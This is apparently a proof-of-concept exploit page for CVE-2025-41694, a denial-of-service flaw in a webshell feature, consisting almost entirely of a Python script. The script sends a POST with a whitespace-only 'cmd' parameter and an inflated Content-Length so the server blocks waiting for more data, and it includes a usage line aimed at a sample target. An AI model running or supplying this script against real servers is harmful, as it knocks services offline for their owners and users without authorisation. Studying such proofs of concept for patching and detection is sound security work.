CVE-2025-41694 Webshell空白命令拒绝服务漏洞

import socket def cve_2025_41694_poc(target_host, target_port, path): """ CVE-2025-41694 PoC - Webshell Empty Command DoS Description: Low privileged remote attacker can run webshell with empty command containing whitespace, causing server to block waiting for more data. """ # Construct HTTP POST request with whitespace-only command headers = f"POST {path} HTTP/1.1\r\n" headers += f"Host: {target_host}:{target_port}\r\n" headers += "Content-Type: application/x-www-form-urlencoded\r\n" headers += "Content-Length: 100\r\n" headers += "Connection: keep-alive\r\n\r\n" # Empty command with whitespace characters body = "cmd=" + " " * 50 + "&param=" request = headers + body try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) sock.send(request.encode()) print(f"[+] Malicious request sent to {target_host}:{target_port}") print(f"[+] Payload: whitespace-only command") print(f"[+] Server should block waiting for more data") sock.close() except Exception as e: print(f"[-] Error: {e}") # Usage example # cve_2025_41694_poc('target.com', 80, '/webshell.php')